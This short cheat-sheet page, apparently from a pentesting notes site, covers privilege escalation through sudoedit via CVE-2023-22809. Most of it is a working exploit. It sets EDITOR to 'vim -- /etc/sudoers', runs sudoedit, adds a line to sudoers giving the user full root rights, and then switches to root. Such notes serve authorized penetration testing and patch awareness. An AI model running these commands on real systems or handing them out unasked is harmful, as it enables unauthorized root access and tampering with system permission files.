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On this page
  • Investigation
  • Exploitation (CVE-2023-22809)
  1. hardware
  2. linux
  3. privilege-escalation
  4. sudo

Sudoedit Privilege Escalation

Sudoedit is vulnerable to privilege escalation.

PreviousSudo Wget Privilege EscalationNextSudo Privilege Escalation

Last updated 1 year ago

Investigation

sudo -l

(root) sudoedit /opt/example.txt

If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

Exploitation ()

export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt

In vim editor, add the following line in /etc/sudoers. Assume the current username is “john”

john ALL=(ALL:ALL) ALL

After that, we can escalate to root privilege.

sudo su root
CVE-2023-22809